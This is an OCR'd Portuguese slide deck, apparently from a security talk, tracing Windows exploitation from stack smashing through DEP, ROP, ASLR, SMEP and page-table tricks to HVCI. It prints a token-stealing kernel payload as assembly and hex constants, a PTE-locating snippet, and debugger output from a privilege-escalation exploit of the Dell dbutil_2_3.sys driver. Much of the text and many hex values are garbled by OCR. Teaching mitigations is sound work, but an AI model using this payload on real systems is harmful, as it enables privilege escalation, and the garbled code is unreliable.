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e Geralmente € um topico complexo;
e Precisa de low level skills;
e MitigagOes vao |lhe preocupar,

e Muito tempo para realizar o exploit perfeito.
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Fonte: YOSIFOVICH, Pavel (ett al). Windows Internal: System Architecture, Processes, Threads, Memory Management, and More, Part 1.
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Historia

.00 Phrack 49 0o.
Volume Seven, Issue Forty-Nine
File 14 of 16

BugTraq, reet, and Underground.Org
bring you

$.0.0.0.00009000999009600066600660900600
Smashing The Stack For Fun And Profit
$0.0.0.0.000990009000096000066000¢0900609¢
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"smash the stack™ [C programming] n. On many C implementations

it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.

Variants include trash the stack, scribble the stack, mangle

the stack; the term mung the stack is not used, as this is

never done intentionally. See spam; see also alias bug,

fandango on core, memory leak, precedence lossage, overrun screw.
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Nesse tempo, havia pouca informacao, porém era mais trivial
fazer um exploit;

A memoria tinha permissao de escrita/leitura e execucao, e
também era estatica;

Era possivel escrever na stack diretamente sem nenhuma
protecao contra isso.

JUMP TO A FAKE RETURN ADDRESS
AND PROFIT!
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Userland ,
Crash

5] \\jen-pc\Misc\crashdemo.exe [ @ |[=]

B2 crashdemo.exe

VS

crashdemo.exe| crashdemo.exe =]

Windows is collectir y# Do you want to send more information about the
This might take sev: problem?

Kernel Crash

Additional details about what went wrong can help Microsoft
create a solution.

Y' View Details { Send information ][ Cancel ]
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o Fonte: https://commons.wikimedia.org/w/index.php?curid=48162543

Your PC ran into a problem and needs to restart. We're
just collecting some error info, and then we'll restart for
you.

20% complete

formation about this issue and poss
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-> Buffer Overflow - Capacidade de escrever além dos limites de um buffer,
sobrescrevendo o espaco adjacente;

-> Use-after-free - Habilidade de manipular a heap/pool através do uso de
alocacoes, apos um free ocorrer em determinado chunk;

= Out-of-Bounds / Memory Disclosure - Habilidade de ler além da
memoria permitida, acarretando em leaks de memoria;

—=> Write-what-where - Possibilidade de escrever qualquer dado em qualquer
posicao na memoria.
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DEP Data Execution Prevention

0:000> !address rsp

e A Primeira versao foi lancada para o Windows
XP SerVICG PaCk 2 em 2004, Mapping file section regions...

Mapping module regions...
Mapping PEB regions...

e Por conta do DEP nao era mais possivel Mapping TEB and stack regions...
. ~ Mapp:.Lng heap reglons.:.
executar codigo em qualquer outra segao data; foning Yage lieap reg onsois
Mapping other regions...
!-lapp@ng stagk trace database r‘ggions...
e A stack passa ter protecao contra execucéo; RRETE PEE SN SRR 20
Usage: Stack
L, . . , Base Address: 0000086 C” 2c6fCcoBD
e Porém, em seguida, foi possivel remover o DEP End Address: 0000006 2c700000
, , . i Region Size: 00000000 0004000 ( 16.000 kB)
através da técnica conhecida como ROP; State: 00001000 MEM_COMMIT
[Protect: 00000004 PAGE_READWRITE |
Type: VoL 20800 MEM_PRIVATE
1 - 101 1 3 All ti B s 0000086 C" 2c660000
e ASSIm’ passou Se a adlCIonar permlssao de Allzzzt?c)): Pi;iect: 06800692 ‘ PAGE_READWRITE

execucao na stack. More info: ~0k
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0x4000000000000000

0x4000000000000008

0x4000000000000010

0x4000000000000018

0x4000000000000020

0x4000000000000028

0x4000000000000030

0x4000000000000038

0x4000000000000040

0x4000000000000048

C++

BOOL VirtualProtect(
[in] LPVOID lpAddress,
Pop Ecx ; ret [in] SIZE T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD 1lpflOldProtect

IpAdrress ( Shellcode) );
Pop Edx ; ret

dwSize ( Size of ShellCode)

pop r8 ; ret
PAGE_EXECUTE_READWRITE
Pop r9; ret

IpflOIdProtect ( Pode ser null)

ret

KERNELBASE!VirtualProtect



ASLR - Address Space Layout B2 Tempes

Randomization P——

E se os enderecos dos rops fossem randomizados?

Bem vindos a era do ASLR.

e Windows ira randomizar a image base de cada processo, e sera sempre
um novo endereco a cada boof;

e Sendo utilizado tanto em userland quanto no kernel (KASLR).
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e Para que se possa realizar o bypass do DEP, com ASLR, & preciso que
haja um leak de memoria. Para que possamos obter a image base do
pProcesso;

e Entao, vamos precisar de um arbitrary read/write para obter sucesso na
exploracao;

e Portanto, usaremos, no minimo, duas vulnerabilidades combinadas.
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e Atraves de um processo com integridade medium, € possivel obter o image
base address de cada modulo carregado em um determinado processo, ou
até mesmo o image base do kernel,

e Com isso, € possivel bypassar o ASLR para integridade média;

e (O mesmo nao acontece se a integridade estiver no nivel low ou até mesmo
um app container,

e Atraveés das fungbes EnumbDeviceDrivers() ou NtQuerySysteminformation()
é possivel obter um “leak” de memoria via Windows API ;)



SMEP - Supervisor Mode Execution £ rempes:
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e O SMEP foi criado a fim de impedir a execugcao de payload escritos em
userland com as permissoes do kernel (system);

e Em outras palavras detecta codigo Ring-0 sendo executado no user space;

e Em anos anteriores, era possivel alterar o bit CR4.20 e assim desabilitar o
SMEP.
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Intel Core i3, 15, i7
Intel Pentium G20X0(T) e G21X0(T)
Intel Celeron G1610(T), G1620(T) e G1630

N ZR 2

Intel Xeon ultimos modelos E3, E5, E7

https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html



Fonte: YOSIFOVICH, Https://en.wikipedia.org/wiki/Protection_ring

Privilege
Rings

Least privileged
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Most privileged
Device drivers

Device drivers

Applications
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e Desativando o bit 20 do registro CR4 era possivel desabilitar o SMEP;
e Exemplo: mov rax, OXFFFEFFFFF -> mov cr4, rax -> ret;
e O patch guard impede e causa excecao ao modificarmos o CR4;

e Porém, a vinda do KernelPatchProtection (KPP) também conhecida como
PatchGuard, a alteracao do CR4 nao é mais possivel.

31(63) 22 21 20 18 17 16 15 1413 12 11 10 9 8
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e Além do bit no registrador CR4, o SMEP ¢ verificado e inserido através de
uma flag na PTE (Page Table Entry) de cada pagina de um endereco virtual,

e Alterando esse bit € possivel desabilitar a protecao de execugao contra
aquele endereco virtual,

e No Windows a PM4L é chamada de PxE.

9: kd> !pte fffff802 24000000

VA ff{f{806224090000
PXE at FFFFFE7F3FOFCF80 PPE at FFFFFE7F3FOF0040 PDE at FFFFFE7F3EGQ8S00 PTE at FFFFFE7C81120480
contains 0000004709063 contains 00PBBLEROLA70AB63 contains BAGBBGLB1BC2FD863 | contains 890000016D344621
pfn 4709 ---DA--KWEV pfn 470a ---DA--KWEV pfn 18c2fd ---DA--KWEV | pfn 16d344 ----A--KR-V




Bitmask do contéudo da PTE de um endereco virtual no kernel

SMEP e
PTE

©: kd> dt MMPTE_HARDWARE FFFFFE7C©1120480
nt! MMPTE_HARDWARE

+0x000 Valid : Oyl
+9x000 Dirtyl . Oyo
|+0x000 Owner . oyo > Intel U/S.
%Tempest +9x000 WriteThrough : Qyo
+0x008 CacheDisable : Byo
ACADEMY +0x000 Accessed : oyl
Eonferadte +0x000 Dirty : Qyo
+0x00@ LargePage : Byo
+0x000 Global : Oye
+0x000 CopyOnlkirite : Qyo
+0x000 Unused : Qyo
+0x000 Write : Qye

+0x008 PageFrameNumber : By©00000000000000100001101001101000100 "(0x18d344)
+0x000 ReservedForHardware : ©y0000
+0x008 ReservedForSoftware : @y0000

+0x000 WsleAge : Qyleel i
+0x000 WsleProtection :_oyeee _— NX ou XD bit.

kOx000 NoExecute : oyl |
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o Paginagéo é uma Virtual Address

. . 63 48 47 3938 30 29 2120 12 11 0
fU ncionalidade ) PAge e Page-Directory- | Page-Directory Page-Table Physical-
i Sign Extend Level-4 Offset .
|mp|ementada pe|o (PML4) Pointer Offset Offset Offset Page Offset
processador, sendo 49 X9 4o Yo A12
, . ~ Page-

responsavel pela criacdo da Page-Map Directory- Page- 4 Kbyte

L. . Level-4 Pointer Directory Page Physical
memoria virtual, Table Table Table Table Page

e Um endereco virtual, > pre |2

4 . 52‘
também conhecido como o 1 POPE |~ :

. , 2 hysical
endereco linear, é | PML4E |7 Wy £ e res
convertido em memoria
fisica no momento de - > " - -

*This is an architectural limit. A given processor

acesso de um determinado 51 12 implementation may support fewer bits.
Page-Map Level-4 CR3

endereco virtual. Base Address
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e O bit U/S - Caso seja setado, o range de memoadria € apenas acessivel pela
permissao CPL3. Caso contrario, apenas pelo CPLO:

63 62:52 51:12 11(10(9 | 8
XD | PFN I 1 | E|G

- > VN
[w B o N - I~
—|§'uw
w~CcN
E\xo-t

e O bit XD (Execute Disable), se setado, nao permite a execucao (fetch) de
instrucdes. Lembrou do DEP?
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e Como podemos explorar as Page Tables?

0: kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:

ffff1802°16c62970 48c1e909 shr rcx,9

fffff802°16c62974 48b3f8ffffff7f000000 mov rax,7FFFFFFFF8h

ffff£802° 16c6297e 48238 and rcx,rax

{802 16c628381 48b80609609666feffff[m0v rax,FFFFFEQ20000860006h J I
{1802 16c6298b 48031 add rax, rcx

{802 16c62%8e 3 ret

{8027 16c6298f cc int 3

{8027 16c62990 cc int 3

unsigned long long shellcodePte = (unsigned long long) KUSER_SHARED_DATA >> 9;
shellcodePte = shellcodePte & Ox7FFFFFFFFS;

shellcodePte = shellcodePte + pteBase; I

e E possivel utilizar essa funcdo para localizar a PTE de um determinado
endereco e assim mudar suas permissoes.
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Dell dbutil_2_3.sys driver e Através desse bug foi possivel
contains an insufficient obter diversas primitivas de leitura
access control e escrita;

vulnerability which may e O objetivo principal desse exploit

lead to escalation of
privileges, denial of
service, or information
disclosure. Local
authenticated user access
IS required.

sera elevar privilégios, atraves do
roubo do foken contido na
estrutura EPROCESS.
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f Windows 10 x64 2004 Token Stealing Payload V/ One QWORD arbitrary write
unsigned long long shellcodel = 0x0000000000(03148;
AT unsigned long long shellcode2 = 0x00018825048B4865;
p— unsigned long long shellcode3 = 0x00000000B8808B4S;
XOr rax, rax unsigned long long shellcoded = 0x0000000000C08949;
mov rax, [gs:0x188]; Current thread-> KTHREAD unsigned long long shellcode5 = 0x0000000448808B48;
mov rax, [rax + Oxb8]; Current process-> EPROCESS unsigned long long shellcode6 = 0x0000000004482D48;
SS  Thys SPeR ke ST T unsigned long long shellcode7 = 0x0000000440888B48;
__loop: unsigned long long shellcode8 = 0x0000000004F98348;
mov rax, [rax + ©x448]; ActiveProcesslinks I unsigned long long shellcode9 = 0x000000000000E675;
sub rax, 0x448; Return to current process->_EPROCESS unsigned long long shellcodel10= 0x00000004B3888BAC;
moweiky Eran S-MElaNT] AaaucraheRi By B unsigned long long shellcodell= 0x@00@00@4B838894D;

cmp rcx, 4; Compare PID to SYSTEM process PID(0x4)

jnz _ loop; Iterate over EPROCESS nodes until SYSTEM PID is located unsigned long long shellcode12 =0x0000000000C03148;

unsigned long long shellcodel3 =0x00000000000000C3;

mov r9, [rax + Ox4b8]; _EPROCESS + 0x4b8->token
mov[r8 + Ox4b8], r9; Copy SYSTEM token to current process
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e Temos duas primitivas, uma de ©: kd> dt _KUSER_SHARED DATA fffff780" 00000000
|eitura e Outra de escrita. WinTypes! KUSER_SHARED_DATA

+9x6808e TickCountLowDeprecated : ©
° Pela prlmltlva de eSCFita é pOSSive +0x004 TickCountMultiplier : ©Oxfaooeeq

+0x0088 InterruptTime = _KSYSTEM TIME
+9x814 SystemTime : _KSYSTEM_TIME

escrever o payload em um +9x82@ TimeZoneBias : _KSYSTEM_TIME
+0x82c ImageNumberlLow : Ox8664

enderego que Contenha um +0x082e ImageNumberHigh : ©x8664 |

sy . +0x03e NtSystemRoot : [266] "C:\Windows”

endereco estatico; +8x238 MaxStackTraceDepth : ©

+0x23c CryptoExponent 220
L _KUSER_SHARED_DATA em +0x240 TimeZoneId -

~ . +9x244 LargePageMinimum : 8x2660©0
todas as versdes do Windows 10 +0x248 AitSamplingValue : ©

. L, +9x24c AppCompatFlag =D
reside no endereco estatico +0x250 RNGSeedVersion  : O
+0x258 GlobalValidationRunlevel : ©
OXFFFFF78000000000 +0x25c TimeZoneBiasStamp : ©n4

+0x26© NtBuildNumber : ©x4a65
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ARBITRARY WRITE PRIMITIVE

Escrevemos o Token Stealing Payload na estrutura
_KUSER_SHARED_DATA,
gque nao possui a permissao de execucao.

@: kd> !pte OXFFFFF73000690000

VA ff{ff78000000000
PXE at FFFFC8E472391F78 PPE at FFFFCBE4723EF000 PDE at FFFFC8E47DEGG6e0 PTE at FFFFC8FBC0000000
contains 0000000E04700063 contains 00000OBOO4701063 contains 000B00E0R4702063 | contains 8000000004920863
pfn 4700 ---DA--KWEV pfn 4701 ---DA--KWEV pfn 4702 ---DA--KWEV |pfn 4929 ---DA--KW-V
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@: kd> !pte OxFFFFF73000000000

VA fffff73000000000
PXE at FFFFC8E472391F78  PPE at FFFFC8E4723EF@@@  PDE at FFFFCSEA7DE@EOe | PTE at FFFFCSFBCO@G008O
contains @G@EEEEEE4700063 contains BOEEEEEEA4701063 contains BGEEEEEEO4702063| contains ©0EEEE0004929863
pfn 4700 ---DA--KWEV pfn 4701 ---DA--KWEV pfn 4702 ---DA--KWEV| pfn 4929 ---DA--KMEV

0: kd>[u @xFFFFF73000000800 20 | ' '
{1780 00000300 4331c xor rax, rax

{780 00000803 65488b042588010000 mov  rax,qword ptr gs:[188h]

fff{730° 0000030c 488b36b30GAGAEA mov rax,quord ptr [rax+8Bgh] ©: kd> u nt!MiGetpteaddress

Ff££780° 00000813 4989¢0 mv T r8,rax UEimloeIRTeAdire o5
A I 2 fffff805° 5662970 48c1e909 shr rcx,9

fffff780 0600816 48303048040000 mOV rax,quord ptr [rax+448h] FFFFF805° 5662974 48bsfa3ffffff7f000000 mov rax,7FFFFFFEFSh

780" 0000081d 482443040000 sub rax,448h fffff805° 5f66297¢ 4323CR and PCX.Pax

fFff£730° 00000323 433h3340040000 mov rcx,quord ptr [rax+446h] ff{ff8085° 5662981 [48b8060666068@c8ffff mov rax,@FFFFC88066960966hI
- fffff805° 5f66298b 4803c1 add rax,rcx

780" 000008822 4833904 cmp rcx,4 FFEFFSO5 CF662986 3 ca

ff{ff780° 0000082e 75e6 jne {730 00000816
ff{ff780° 00000830 4c8b38b304060G08 mov r9,quord ptr [rax+4B8h]
ff{ff780° 00000837 4d39838b3040008 mov quord ptr [r8+4B8h],r9

FFfff780° 0000083e 4831c0 Xor  rax,rax ARBITRARY READ

{780 00000841 3 ret
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KERNEL PRIMITIVES

KERNEL PRIMITIVES/EVERYWHERE

imaflip.com o
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e A \Virtualization-Based Security (VBS) comecou a ser implementada a partir
do Windows 10 19H1;

e Pode ser ativada por padrao no Windows 10 20H1;
e Windows, com a VBS ativa, funciona através do Hyper-V hypervisor (HVCI);

e Sua ativacdo nao é muito comum.
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M E s dacaiveny LD DD

|
I Guest Physical to System Physical Memory Map (GPA -> SPA map) |

| Secure Mode (VTL 1) Memory Access Protections l

Secure Mode Secure Mode
g (VTL1) (VTL1)
=
3 VPO VP1
a User User
20 Kernel Kernel
L
2
K i | !Local APIC! H i | iLocal APIC}
Shared Registers Shared Registers
Host Partition
VMCS vMmCSs
VRO | vpo VP1 | vp1
VTL1 VTL1

VTL1EPT

Hypervisor




Fonte: YOSIFOVICH, Pavel (ett al). Windows Internal: System Architecture, Processes, Threads, Memory Management, and More, Part 1.

H\VCI DNENE NN S vy M OIS

1
| Guest Physical to System Physical Memory Map (GPA -> SPA map) |

VB S | Secure Mode (VTL 1) Memory Access Protections |

@R ) Secure Mode Secure Mode
g (VTL1) (VTL1)
> T 3 VPO | VP1
> [
% 1empest O User R User] =[RS A 00 User |
o
ACADEMY
pe= |
i B e [} B e T T e | (] B R e s P o -} R e T Y 1]
coferante AW ocaiaric | BTV | || [LocalAPiC]
- T
Shared Registers Shared Registers
H Host Partition H
VMCS VMCS
VPO | vpo | VP1 | vp1
VTL1 VTL1

VTL1EPT

Hypervisor
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e VBS cria sua camada de seguranca através dos VTLS (Virtual Trust Levels);
e VTL O - Considerado o modelo tradicional, como vimos antes.
e VTL 1 - Conhecido com “Secure Kernel” ou/e |solated User Mode.

e A arquitetura do VBS proibe que VTL acesso qualquer outro VTL, isto €, VTL 0
nao pode acessar recurso do VTL 1;

e E possivel utilizar recursos que estariam no VTL 0, a partir do VTL-1 e assim
bloquear alguns ataques;

e VBS é parte da base do que é chamado HVCI (Hypervisor-Protected Code
Integrity)



HVCI E VBS

Forca que todas Page Tables
sejam imutaveis;

Mesmo que um adversario
consiga, no VTL-0, alterar as
permissdoes de uma pagina, o
VTL-1 vai forcar que tais
alteracOes nao sejam efetivas;

Em outras palavras, caso o
HVCI esteja habilitado, o
exploit demonstrado
anteriormente, ndo funcionara.
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Seguranga do Windows

é

Inicio

Protegdo contra virus e ameagas

Protecgdo de contas

Firewall e protegdo de rede

Controle de aplicativos e do navegador
Seguranga do dispositivo

Desempenho e integridade do dispositivo

Opgoes da familia

sazysse

== Isolamento de nucleo

Ha recursos de seguranca disponiveis no
dispositivo que usam a seguranca baseada em
virtualizagao.

Integridade da memoria

Impede que os ataques insiram c6digos
maliciosos em processos de alta seguranca.

@ Desativado

Saiba mais
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